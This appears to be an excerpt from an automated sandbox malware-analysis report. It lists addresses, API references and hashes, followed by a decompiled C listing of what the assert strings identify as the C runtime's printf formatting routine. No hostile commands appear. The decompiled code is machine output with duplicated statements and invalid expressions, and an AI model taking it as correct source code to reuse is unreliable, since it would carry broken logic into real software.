0x00434ee0
0x00434ef4
0x00434efa
0x00434f00
0x00434ee2
0x00434ee2
0x00434eef
0x00434eef
0x00434f02
0x00000000
0x00434f02
0x00434e36
0x00434e36
0x00434e38
0x00434e46
0x00434e3a
0x00434e3a
0x00434e3a
0x00434e50
0x00434e56
0x00434e63
0x00434e65
0x00434e6a
0x00434e6c
0x00434e71
0x00434e76
0x00434e78
0x00434e7d
0x00434e83
0x00434e85
0x00434e85
0x00434e83
0x00434e8d
0x00434ed5
0x00000000
0x00434e8f
0x00434e8f
0x00434e94
0x00434eb0
0x00434eb8
0x00434ec2
0x00434ec5
0x00434eca
0x00000000
0x00434eca
0x00000000
0x0043511c
0x0043511c
0x00435126
0x0043512c
0x00435131
0x00435137
0x00435137
0x00000000
0x00000000
0x004350d4
0x004350d4
0x00000000
0x00000000
0x00434d11
0x00434d15
0x00434d23
0x00434d26
0x00434d17
0x00434d17
0x00434d17
0x00434d2c
0x00434d32
0x00434d38
0x00434d44
0x00434d4a
0x00434d50
0x00434db7
0x00434dbb
0x00434dbd
0x00434dc3
0x00434dc3
0x00434dc6
0x00434dc9
0x00434dcf
0x00434dcf
0x00434dcf
0x00434ddb
0x00434dde
0x00434de6
0x00000000
0x00000000
0x00434de8
0x00434de8
0x00434dee
0x00434df3
0x00000000
0x00000000
0x00434df5
0x00434dfb
0x00434dfe
0x00434dfe
0x00434e06
0x00434e0c
0x00434e0f
0x00000000
0x00434d52
0x00434d52
0x00434d56
0x00434d58
0x00434d5d
0x00434d5d
0x00434d60
0x00434d67
0x00434d6a
0x00434d70
0x00434d70
0x00434d70
0x00434d7c
0x00434d7f
0x00434d87
0x00000000
0x00000000
0x00434d89
0x00434d89
0x00434d8f
0x00434d94
0x00000000
0x00000000
0x00434d96
0x00434d9c
0x00434d9f
0x00434d9f
0x00434da7
0x00434dad
0x00434db0
0x00434db2
0x00434e12
0x00000000
0x00434e12
0x00000000
0x00000000
0x00000000
0x004350e7
0x004350e7
0x004350f1
0x004350f1
0x004350fb
0x00435101
0x00435103
0x0043510d
0x00435110
0x00435113
0x00435113
0x00000000
0x00000000
0x00000000
0x00000000
0x00434bb4
0x004353c2
0x004353c2
0x004353c2
0x004353c2
0x004353c2
0x004353c2
0x004353c2
0x0043521f
0x00435216
0x0043513a
0x0043513a
0x0043513a

APIs

_get_int64_arg.LIBCMTD ref: 00435148
_get_int64_arg.LIBCMTD ref: 00435170
__aullrem.LIBCMT ref: 00435315
__aulldiv.LIBCMT ref: 00435337

Strings

9, xrefs: 00435348

Memory Dump Source

Source File: 00000000.00000002.238062965.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.238059645.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.238171919.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238184578.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.238197820.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OG9rNsihJ7.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 6bfd3a7f129a6f0db8a8f74f46333a7fd9ff028fcfdecd1d5897dee5f8a9e2ca
Instruction ID: a8e76a4f67f6835b5d0001bace02627944a5ff8ccccf7683c007a26401fe0f32
Opcode Fuzzy Hash: 6bfd3a7f129a6f0db8a8f74f46333a7fd9ff028fcfdecd1d5897dee5f8a9e2ca
Instruction Fuzzy Hash: C941D571D15A29DFDB24CF58C889BAEB7B5BB88304F2095DAD409A7240C7385E80CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00427CFC, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00427CFC(signed int __edx) {
				signed int _t476;
				signed int _t497;
				signed int _t532;
				signed int _t549;
				signed short _t550;
				signed int _t553;
				signed int _t556;
				signed int _t557;
				signed int _t611;
				signed int _t613;
				signed int _t615;
				signed int _t622;
				signed int _t663;
				signed int _t666;
				void* _t668;
				void* _t669;
				signed int _t675;

				L0:
				while(1) {
					L0:
					_t611 = __edx;
					 *(_t666 - 8) = 0xa;
					L144:
					while(1) {
						L144:
						while(1) {
							L144:
							while(1) {
								L144:
								if(( *(_t666 - 0x10) & 0x00008000) == 0) {
									_t613 =  *(_t666 - 0x10) & 0x00001000;
									if(_t613 == 0) {
										if(( *(_t666 - 0x10) & 0x00000020) == 0) {
											_t615 =  *(_t666 - 0x10) & 0x00000040;
											if(_t615 == 0) {
												_t476 = E004284A0(_t666 + 0x14);
												_t669 = _t668 + 4;
												 *(_t666 - 0x2b0) = _t476;
												 *(_t666 - 0x2ac) = 0;
											} else {
												_t549 = E004284A0(_t666 + 0x14);
												_t669 = _t668 + 4;
												asm("cdq");
												 *(_t666 - 0x2b0) = _t549;
												 *(_t666 - 0x2ac) = _t615;
											}
										} else {
											_t663 =  *(_t666 - 0x10) & 0x00000040;
											if(_t663 == 0) {
												_t550 = E004284A0(_t666 + 0x14);
												_t669 = _t668 + 4;
												asm("cdq");
												 *(_t666 - 0x2b0) = _t550 & 0x0000ffff;
												 *(_t666 - 0x2ac) = _t663;
											} else {
												_t553 = E004284A0(_t666 + 0x14);
												_t669 = _t668 + 4;
												asm("cdq");
												 *(_t666 - 0x2b0) = _t553;
												 *(_t666 - 0x2ac) = _t663;
											}
										}
									} else {
										_t556 = E004284C0(_t666 + 0x14);
										_t669 = _t668 + 4;
										 *(_t666 - 0x2b0) = _t556;
										 *(_t666 - 0x2ac) = _t613;
									}
								} else {
									_t557 = E004284C0(_t666 + 0x14);
									_t669 = _t668 + 4;
									 *(_t666 - 0x2b0) = _t557;
									 *(_t666 - 0x2ac) = _t611;
								}
								if(( *(_t666 - 0x10) & 0x00000040) == 0) {
									L161:
									 *(_t666 - 0x2b8) =  *(_t666 - 0x2b0);
									 *(_t666 - 0x2b4) =  *(_t666 - 0x2ac);
									goto L162;
								} else {
									L157:
									_t675 =  *(_t666 - 0x2ac);
									if(_t675 > 0 || _t675 >= 0 &&  *(_t666 - 0x2b0) >= 0) {
										goto L161;
									} else {
										L160:
										asm("adc edx, 0x0");
										 *(_t666 - 0x2b8) =  ~( *(_t666 - 0x2b0));
										 *(_t666 - 0x2b4) =  ~( *(_t666 - 0x2ac));
										 *(_t666 - 0x10) =  *(_t666 - 0x10) | 0x00000100;
										L162:
										if(( *(_t666 - 0x10) & 0x00008000) == 0 && ( *(_t666 - 0x10) & 0x00001000) == 0) {
											 *(_t666 - 0x2b4) =  *(_t666 - 0x2b4) & 0x00000000;
										}
										if( *(_t666 - 0x30) >= 0) {
											 *(_t666 - 0x10) =  *(_t666 - 0x10) & 0xfffffff7;
											if( *(_t666 - 0x30) > 0x200) {
												 *(_t666 - 0x30) = 0x200;
											}
										} else {
											 *(_t666 - 0x30) = 1;
										}
										if(( *(_t666 - 0x2b8) |  *(_t666 - 0x2b4)) == 0) {
											 *(_t666 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t666 - 4)) = _t666 - 0x49;
										while(1) {
											L172:
											_t621 =  *(_t666 - 0x30) - 1;
											 *(_t666 - 0x30) =  *(_t666 - 0x30) - 1;
											if( *(_t666 - 0x30) <= 0 && ( *(_t666 - 0x2b8) |  *(_t666 - 0x2b4)) == 0) {
												break;
											}
											L174:
											asm("cdq");
											_t622 =  *(_t666 - 0x2b8);
											 *((intOrPtr*)(_t666 - 0x2a4)) = E004308C0(_t622,  *(_t666 - 0x2b4),  *(_t666 - 8), _t621) + 0x30;
											asm("cdq");
											 *(_t666 - 0x2b8) = E00430940( *(_t666 - 0x2b8),  *(_t666 - 0x2b4),  *(_t666 - 8), _t622);
											 *(_t666 - 0x2b4) = _t622;
											if( *((intOrPtr*)(_t666 - 0x2a4)) > 0x39) {
												 *((intOrPtr*)(_t666 - 0x2a4)) =  *((intOrPtr*)(_t666 - 0x2a4)) +  *((intOrPtr*)(_t666 - 0x260));
											}
											 *((char*)( *((intOrPtr*)(_t666 - 4)))) =  *((intOrPtr*)(_t666 - 0x2a4));
											 *((intOrPtr*)(_t666 - 4)) =  *((intOrPtr*)(_t666 - 4)) - 1;
										}
										L177:
										 *((intOrPtr*)(_t666 - 0x24)) = _t666 - 0x49 -  *((intOrPtr*)(_t666 - 4));
										 *((intOrPtr*)(_t666 - 4)) =  *((intOrPtr*)(_t666 - 4)) + 1;
										if(( *(_t666 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t666 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t666 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t666 - 4)) =  *((intOrPtr*)(_t666 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t666 - 4)))) = 0x30;
											 *((intOrPtr*)(_t666 - 0x24)) =  *((intOrPtr*)(_t666 - 0x24)) + 1;
										}
										L181:
										while(1) {
											L181:
											while(1) {
												L181:
												while(1) {
													L181:
													while(1) {
														L181:
														while(1) {
															L181:
															while(1) {
																L181:
																while(1) {
																	do {
																		L181:
																		if( *((intOrPtr*)(_t666 - 0x28)) != 0) {
																			L207:
																			if( *(_t666 - 0x20) != 0) {
																				L0041C510( *(_t666 - 0x20), 2);
																				_t669 = _t669 + 8;
																				 *(_t666 - 0x20) = 0;
																			}
																			while(1) {
																				L209:
																				 *(_t666 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t666 + 0xc))));
																				 *((intOrPtr*)(_t666 + 0xc)) =  *((intOrPtr*)(_t666 + 0xc)) + 1;
																				if( *(_t666 - 0x251) == 0 ||  *(_t666 - 0x24c) < 0) {
																					break;
																				} else {
																					if( *(_t666 - 0x251) < 0x20 ||  *(_t666 - 0x251) > 0x78) {
																						 *(_t666 - 0x2fc) = 0;
																					} else {
																						 *(_t666 - 0x2fc) =  *( *(_t666 - 0x251) + 0x404430) & 0x0000000f;
																					}
																				}
																				L7:
																				 *(_t666 - 0x250) =  *(_t666 - 0x2fc);
																				_t19 =  *(_t666 - 0x250) * 8; // 0x6000006
																				 *(_t666 - 0x25c) =  *( *(_t666 - 0x25c) + _t19 + 0x404450) >> 4;
																				 *(_t666 - 0x300) =  *(_t666 - 0x25c);
																				if( *(_t666 - 0x300) > 7) {
																					continue;
																				}
																				L8:
																				switch( *((intOrPtr*)( *(_t666 - 0x300) * 4 +  &M00428228))) {
																					case 0:
																						L9:
																						 *(_t666 - 0xc) = 0;
																						_t502 = E00431350( *(_t666 - 0x251) & 0x000000ff, E0041AE20(_t666 - 0x40));
																						_t671 = _t669 + 8;
																						if(_t502 == 0) {
																							L15:
																							E00428330( *(_t666 - 0x251) & 0x000000ff,  *(_t666 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																							_t669 = _t671 + 0xc;
																							goto L209;
																						} else {
																							E00428330( *((intOrPtr*)(_t666 + 8)),  *(_t666 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																							_t671 = _t671 + 0xc;
																							_t582 =  *((intOrPtr*)( *((intOrPtr*)(_t666 + 0xc))));
																							 *(_t666 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t666 + 0xc))));
																							_t629 =  *((intOrPtr*)(_t666 + 0xc)) + 1;
																							 *((intOrPtr*)(_t666 + 0xc)) = _t629;
																							asm("sbb eax, eax");
																							 *(_t666 - 0x278) =  ~( ~( *(_t666 - 0x251)));
																							if(_t629 == 0) {
																								_push(L"(ch != _T(\'\\0\'))");
																								_push(0);
																								_push(0x486);
																								_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																								_push(2);
																								_t514 = L0041E350();
																								_t671 = _t671 + 0x14;
																								if(_t514 == 1) {
																									asm("int3");
																								}
																							}
																							L13:
																							if( *(_t666 - 0x278) != 0) {
																								goto L15;
																							} else {
																								 *((intOrPtr*)(L00422E40(_t582))) = 0x16;
																								E00422BD0(_t558, _t582, _t664, _t665, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																								 *(_t666 - 0x2e4) = 0xffffffff;
																								E0041ADF0(_t666 - 0x40);
																								_t497 =  *(_t666 - 0x2e4);
																								L211:
																								return E0042BDF0(_t497, _t558,  *(_t666 - 0x48) ^ _t666, _t629, _t664, _t665);
																							}
																						}
																					case 1:
																						L16:
																						 *(__ebp - 0x2c) = 0;
																						__edx =  *(__ebp - 0x2c);
																						 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																						__eax =  *(__ebp - 0x28);
																						 *(__ebp - 0x18) =  *(__ebp - 0x28);
																						__ecx =  *(__ebp - 0x18);
																						 *(__ebp - 0x1c) = __ecx;
																						 *(__ebp - 0x10) = 0;
																						 *(__ebp - 0x30) = 0xffffffff;
																						 *(__ebp - 0xc) = 0;
																						goto L209;
																					case 2:
																						L17:
																						__edx =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																						 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																						if( *(__ebp - 0x304) > 0x10) {
																							goto L24;
																						}
																						L18:
																						__ecx =  *(__ebp - 0x304);
																						_t63 = __ecx + 0x428260; // 0x498d04
																						__edx =  *_t63 & 0x000000ff;
																						switch( *((intOrPtr*)(( *_t63 & 0x000000ff) * 4 +  &M00428248))) {
																							case 0:
																								goto L21;
																							case 1:
																								goto L22;
																							case 2:
																								goto L20;
																							case 3:
																								goto L19;
																							case 4:
																								goto L23;
																							case 5:
																								goto L24;
																						}
																					case 3:
																						L25:
																						__edx =  *((char*)(__ebp - 0x251));
																						if( *((char*)(__ebp - 0x251)) != 0x2a) {
																							__eax =  *(__ebp - 0x18);
																							__eax =  *(__ebp - 0x18) * 0xa;
																							__ecx =  *((char*)(__ebp - 0x251));
																							_t87 = __ecx - 0x30; // -48
																							__edx = __eax + _t87;
																							 *(__ebp - 0x18) = __eax + _t87;
																						} else {
																							__eax = __ebp + 0x14;
																							 *(__ebp - 0x18) = E004284A0(__ebp + 0x14);
																							if( *(__ebp - 0x18) < 0) {
																								__ecx =  *(__ebp - 0x10);
																								__ecx =  *(__ebp - 0x10) | 0x00000004;
																								 *(__ebp - 0x10) = __ecx;
																								 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																								 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																							}
																						}
																						L30:
																						goto L209;
																					case 4:
																						L31:
																						 *(__ebp - 0x30) = 0;
																						goto L209;
																					case 5:
																						L32:
																						__eax =  *((char*)(__ebp - 0x251));
																						if( *((char*)(__ebp - 0x251)) != 0x2a) {
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) * 0xa;
																							_t98 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																							__ecx =  *(__ebp - 0x30) * 0xa + _t98;
																							 *(__ebp - 0x30) = __ecx;
																						} else {
																							__ecx = __ebp + 0x14;
																							 *(__ebp - 0x30) = E004284A0(__ebp + 0x14);
																							if( *(__ebp - 0x30) < 0) {
																								 *(__ebp - 0x30) = 0xffffffff;
																							}
																						}
																						goto L209;
																					case 6:
																						L38:
																						__edx =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																						 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																						if( *(__ebp - 0x308) > 0x2e) {
																							L61:
																							goto L209;
																						}
																						L39:
																						__ecx =  *(__ebp - 0x308);
																						_t106 = __ecx + 0x428288; // 0x7b3f9003
																						__edx =  *_t106 & 0x000000ff;
																						switch( *((intOrPtr*)(( *_t106 & 0x000000ff) * 4 +  &M00428274))) {
																							case 0:
																								L44:
																								__edx =  *(__ebp + 0xc);
																								__eax =  *( *(__ebp + 0xc));
																								if( *( *(__ebp + 0xc)) != 0x36) {
																									L47:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc));
																									if( *( *(__ebp + 0xc)) != 0x33) {
																										L50:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) == 0x64) {
																											L56:
																											L58:
																											goto L61;
																										}
																										L51:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *__ecx;
																										if( *__ecx == 0x69) {
																											goto L56;
																										}
																										L52:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc));
																										if(__ecx == 0x6f) {
																											goto L56;
																										}
																										L53:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) == 0x75) {
																											goto L56;
																										}
																										L54:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *__ecx;
																										if( *__ecx == 0x78) {
																											goto L56;
																										}
																										L55:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc));
																										if(__ecx != 0x58) {
																											 *(__ebp - 0x25c) = 0;
																											goto L9;
																										}
																										goto L56;
																									}
																									L48:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *((char*)(__ecx + 1));
																									if( *((char*)(__ecx + 1)) != 0x32) {
																										goto L50;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																										 *(__ebp - 0x10) = __ecx;
																										goto L58;
																									}
																								}
																								L45:
																								__ecx =  *(__ebp + 0xc);
																								__edx =  *((char*)(__ecx + 1));
																								if( *((char*)(__ecx + 1)) != 0x34) {
																									goto L47;
																								} else {
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00008000;
																									 *(__ebp - 0x10) = __ecx;
																									goto L58;
																								}
																							case 1:
																								L59:
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																								goto L61;
																							case 2:
																								L40:
																								__eax =  *(__ebp + 0xc);
																								__ecx =  *( *(__ebp + 0xc));
																								if(__ecx != 0x6c) {
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000010;
																									 *(__ebp - 0x10) = __ecx;
																								} else {
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																								}
																								goto L61;
																							case 3:
																								L60:
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																								goto L61;
																							case 4:
																								goto L61;
																						}
																					case 7:
																						goto L62;
																					case 8:
																						L21:
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																						goto L24;
																					case 9:
																						L22:
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																						goto L24;
																					case 0xa:
																						L20:
																						__ecx =  *(__ebp - 0x10);
																						__ecx =  *(__ebp - 0x10) | 0x00000001;
																						 *(__ebp - 0x10) = __ecx;
																						goto L24;
																					case 0xb:
																						L19:
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																						goto L24;
																					case 0xc:
																						L23:
																						__ecx =  *(__ebp - 0x10);
																						__ecx =  *(__ebp - 0x10) | 0x00000008;
																						 *(__ebp - 0x10) = __ecx;
																						goto L24;
																					case 0xd:
																						L24:
																						goto L209;
																				}
																			}
																			L210:
																			 *(_t666 - 0x2ec) =  *(_t666 - 0x24c);
																			E0041ADF0(_t666 - 0x40);
																			_t497 =  *(_t666 - 0x2ec);
																			goto L211;
																		}
																		L182:
																		if(( *(_t666 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t666 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t666 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t666 - 0x10) & 0x00000002) != 0) {
																						 *((char*)(_t666 - 0x14)) = 0x20;
																						 *(_t666 - 0x1c) = 1;
																					}
																				} else {
																					 *((char*)(_t666 - 0x14)) = 0x2b;
																					 *(_t666 - 0x1c) = 1;
																				}
																			} else {
																				 *((char*)(_t666 - 0x14)) = 0x2d;
																				 *(_t666 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t666 - 0x2bc)) =  *((intOrPtr*)(_t666 - 0x18)) -  *((intOrPtr*)(_t666 - 0x24)) -  *(_t666 - 0x1c);
																		if(( *(_t666 - 0x10) & 0x0000000c) == 0) {
																			E004283D0(0x20,  *((intOrPtr*)(_t666 - 0x2bc)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																			_t669 = _t669 + 0x10;
																		}
																		E00428410( *(_t666 - 0x1c), _t666 - 0x14,  *(_t666 - 0x1c),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																		_t669 = _t669 + 0x10;
																		if(( *(_t666 - 0x10) & 0x00000008) != 0 && ( *(_t666 - 0x10) & 0x00000004) == 0) {
																			E004283D0(0x30,  *((intOrPtr*)(_t666 - 0x2bc)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																			_t669 = _t669 + 0x10;
																		}
																		if( *(_t666 - 0xc) == 0 ||  *((intOrPtr*)(_t666 - 0x24)) <= 0) {
																			L203:
																			E00428410( *((intOrPtr*)(_t666 - 4)),  *((intOrPtr*)(_t666 - 4)),  *((intOrPtr*)(_t666 - 0x24)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																			_t669 = _t669 + 0x10;
																			goto L204;
																		} else {
																			L196:
																			 *(_t666 - 0x2d4) = 0;
																			 *((intOrPtr*)(_t666 - 0x2c0)) =  *((intOrPtr*)(_t666 - 4));
																			 *((intOrPtr*)(_t666 - 0x2c4)) =  *((intOrPtr*)(_t666 - 0x24));
																			while(1) {
																				L197:
																				 *((intOrPtr*)(_t666 - 0x2c4)) =  *((intOrPtr*)(_t666 - 0x2c4)) - 1;
																				if( *((intOrPtr*)(_t666 - 0x2c4)) == 0) {
																					break;
																				}
																				L198:
																				 *(_t666 - 0x316) =  *((intOrPtr*)( *((intOrPtr*)(_t666 - 0x2c0))));
																				_t532 = E00434360(_t666 - 0x2c8, _t666 - 0x2d0, 6,  *(_t666 - 0x316) & 0x0000ffff);
																				_t669 = _t669 + 0x10;
																				 *(_t666 - 0x2d4) = _t532;
																				 *((intOrPtr*)(_t666 - 0x2c0)) =  *((intOrPtr*)(_t666 - 0x2c0)) + 2;
																				if( *(_t666 - 0x2d4) != 0 ||  *((intOrPtr*)(_t666 - 0x2c8)) == 0) {
																					L200:
																					 *(_t666 - 0x24c) = 0xffffffff;
																					break;
																				} else {
																					L201:
																					E00428410( *((intOrPtr*)(_t666 + 8)), _t666 - 0x2d0,  *((intOrPtr*)(_t666 - 0x2c8)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																					_t669 = _t669 + 0x10;
																					continue;
																				}
																			}
																			L202:
																			L204:
																			if( *(_t666 - 0x24c) >= 0 && ( *(_t666 - 0x10) & 0x00000004) != 0) {
																				E004283D0(0x20,  *((intOrPtr*)(_t666 - 0x2bc)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																				_t669 = _t669 + 0x10;
																			}
																			goto L207;
																		}
																		L62:
																		__ecx =  *((char*)(__ebp - 0x251));
																		 *(__ebp - 0x30c) = __ecx;
																		__edx =  *(__ebp - 0x30c);
																		__edx =  *(__ebp - 0x30c) - 0x41;
																		 *(__ebp - 0x30c) = __edx;
																	} while ( *(__ebp - 0x30c) > 0x37);
																	_t147 =  *(__ebp - 0x30c) + 0x4282f4; // 0xcccccc0d
																	__ecx =  *_t147 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M004282B8))) {
																		case 0:
																			L114:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L115;
																		case 1:
																			L64:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L66;
																		case 2:
																			L79:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L81;
																		case 3:
																			L137:
																			 *((intOrPtr*)(__ebp - 0x260)) = 7;
																			goto L139;
																		case 4:
																			L72:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x284) = E004284A0(__ebp + 0x14);
																			if( *(__ebp - 0x284) == 0) {
																				L74:
																				__edx =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DDF0( *(__ebp - 4));
																				L78:
																				goto L181;
																			}
																			L73:
																			__ecx =  *(__ebp - 0x284);
																			if( *((intOrPtr*)( *(__ebp - 0x284) + 4)) != 0) {
																				L75:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x284);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x284);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x284);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x284);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L78;
																			}
																			goto L74;
																		case 5:
																			L115:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L117:
																				if( *(__ebp - 0x30) != 0) {
																					L120:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L122:
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B890(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					_t274 = __eax - 8; // 0xe852f855
																					__ecx =  *_t274;
																					_t275 = __eax - 4; // 0xbc20
																					__edx =  *_t275;
																					 *(__ebp - 0x2a0) =  *_t274;
																					 *(__ebp - 0x29c) =  *_t275;
																					__ecx = __ebp - 0x40;
																					_push(E0041AE20(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a0;
																					_push(__ebp - 0x2a0);
																					__eax =  *0x440374; // 0x7e8e98dc
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AE20(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0x8a8e9826
																						__eax =  *__eax();
